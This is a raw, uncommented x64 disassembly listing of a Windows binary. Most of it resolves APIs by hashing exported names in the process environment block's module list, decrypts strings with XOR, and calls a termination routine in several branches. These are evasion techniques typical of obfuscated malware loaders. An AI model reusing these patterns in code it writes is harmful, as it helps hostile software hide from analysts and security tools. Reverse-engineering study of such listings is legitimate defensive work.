xor byte [rbp - 0x66], 0x34
xor byte [rbp - 0x65], 0x35
xor byte [rbp - 0x64], 0x36
xor byte [rbp - 0x63], 0x37
lea rcx, [rbp - 0x68]
call rdx
movups xmm0, xmmword [0x1400b7a78]
movups xmmword [rbp + 0x750], xmm0
movups xmm1, xmmword [0x1400b7a88]
movups xmmword [rbp + 0x760], xmm1
movsd xmm0, qword [str.7__0_vRSZ]
movsd qword [rbp + 0x770], xmm0
movzx eax, byte [0x1400b7aa0]
mov byte [rbp + 0x778], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400322b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400322b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400322b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032290
cmp r8d, 0xe76fb4aa
je 0x1400322bb
test r9d, r9d
jne 0x140032270
mov rax, qword [rax]
jmp 0x140032240
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x140032423
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x754]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140032320
cmp r8d, 0x29
jge 0x140032460
movsxd rax, r8d
lea r9, [rbp + 0x750]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140032430
lea rcx, [rbp + 0x750]
call r11
call fcn.140005bb0
call fcn.140005bb0
movzx eax, byte [0x1400c734b]
test al, al
je 0x1400325f0
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032516
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032516
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032511
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400324f0
cmp r8d, 0xcded1a85
je 0x14003251b
test r9d, r9d
jne 0x1400324d0
mov rax, qword [rax]
jmp 0x1400324a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400325c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400325c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400325c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400325a0
cmp r8d, 0xe80fd3a
je 0x1400325cb
test r9d, r9d
jne 0x140032580
mov rax, qword [rax]
jmp 0x140032550
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.140005bb0
call fcn.140005bb0
cmp byte [0x1400c7343], 0
jne 0x140032770
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032696
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032696
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032691
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032670
cmp r8d, 0xcded1a85
je 0x14003269b
test r9d, r9d
jne 0x140032650
mov rax, qword [rax]
jmp 0x140032620
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032746
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032746
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032741
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032720
cmp r8d, 0xe80fd3a
je 0x14003274b
test r9d, r9d
jne 0x140032700
mov rax, qword [rax]
jmp 0x1400326d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.14002fc00
mov byte [0x1400c734e], 0
mov byte [0x1400c734a], 0
cmp byte [0x1400c7342], 0
jne 0x140032900
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032821
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032800
cmp r8d, 0xcded1a85
je 0x14003282b
test r9d, r9d
jne 0x1400327e0
mov rax, qword [rax]
jmp 0x1400327b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400328d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400328d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400328d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400328b0
cmp r8d, 0xe80fd3a
je 0x1400328db
test r9d, r9d
jne 0x140032890
mov rax, qword [rax]
jmp 0x140032860
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [0x1400c7344], 6
jge 0x140032a80
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400329a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400329a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400329a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032980
cmp r8d, 0xcded1a85
je 0x1400329ab
test r9d, r9d
jne 0x140032960
mov rax, qword [rax]
jmp 0x140032930
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032a56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032a56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032a51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032a30
cmp r8d, 0xe80fd3a
je 0x140032a5b
test r9d, r9d
jne 0x140032a10
mov rax, qword [rax]
jmp 0x1400329e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
jle 0x140032bf0
call fcn.140011940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032b16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032b16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032b11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032af0
cmp r8d, 0xcded1a85
je 0x140032b1b
test r9d, r9d
jne 0x140032ad0
mov rax, qword [rax]
jmp 0x140032aa0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032bc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032bc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032bc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032ba0
cmp r8d, 0xe80fd3a
je 0x140032bcb
test r9d, r9d
jne 0x140032b80
mov rax, qword [rax]
jmp 0x140032b50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xffffffff
call rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov byte [0x1400c7342], 0
call fcn.14002acc0
cmp byte [0x1400c734e], 0
je 0x14003c3cc
mov byte [0x1400c734e], 0
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x4c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140032ca6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140032ca6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140032ca1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140032c80
cmp r8d, 0x491e0a9c
je 0x140032cab
test r9d, r9d
jne 0x140032c60
mov rax, qword [rax]
jmp 0x140032c30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140032d55
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x4c]
xorps xmm2, xmm0
movd dword [rsp + 0x4c], xmm2
jmp 0x140032d8f
lea r9, [rsp + 0x4c]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r12d
jl 0x140032d60
lea rcx, [rsp + 0x4c]
call r11
movups xmm0, xmmword [str.q_thb_YVMH_qQX3]
movups xmmword [rbp + 0x2e8], xmm0
movsd xmm0, qword [str._tk2__IAP]
movsd qword [rbp + 0x2f8], xmm0
cmp byte [0x1400b718f], 0
je 0x140032f50
cmp r15d, 2
jl 0x140032f0d
movdqa xmm5, xmmword [0x1400b8680]
mov edx, r14d
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ec]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140032e10
jmp 0x140032f50
lea r9, [rbp + 0x2e8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140032f20
lea rax, [rbp + 0x2e8]
mov qword [rbp + 0xe0], rax
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x3b0]
call fcn.14003ed90
nop
lea rcx, [rbp + 0x3b0]
call fcn.140009050
movzx ebx, al
lea rcx, [rbp + 0x3b0]
call fcn.1400087b0
test bl, bl
je 0x140034c2f
mov rax, qword [0x1400b7298]
mov qword [rbp + 0xe8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033031
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033010
cmp r8d, 0xe76fb4aa
je 0x14003303b
test r9d, r9d
jne 0x140032ff0
mov rax, qword [rax]
jmp 0x140032fc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140033167
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
jmp 0x1400331b0
lea r9, [rbp + 0xe8]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140033180
lea rcx, [rbp + 0xe8]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0x14], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0x16], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033266
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033266
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033261
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033240
cmp r8d, 0xe76fb4aa
je 0x14003326b
test r9d, r9d
jne 0x140033220
mov rax, qword [rax]
jmp 0x1400331f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x10], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x11], 0x33
xor byte [rbp + 0x12], 0x34
xor byte [rbp + 0x13], 0x35
xor byte [rbp + 0x14], 0x36
xor byte [rbp + 0x15], 0x37
xor byte [rbp + 0x16], 0x38
lea rcx, [rbp + 0x10]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x5c], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033341
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033320
cmp r8d, 0xe76fb4aa
je 0x14003334b
test r9d, r9d
jne 0x140033300
mov rax, qword [rax]
jmp 0x1400332d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x5f], 0x33
xor byte [rbp - 0x5e], 0x34
xor byte [rbp - 0x5d], 0x35
xor byte [rbp - 0x5c], 0x36
xor byte [rbp - 0x5b], 0x37
lea rcx, [rbp - 0x60]
call rdx
movups xmm0, xmmword [0x1400b7900]
movups xmmword [rbp + 0x390], xmm0
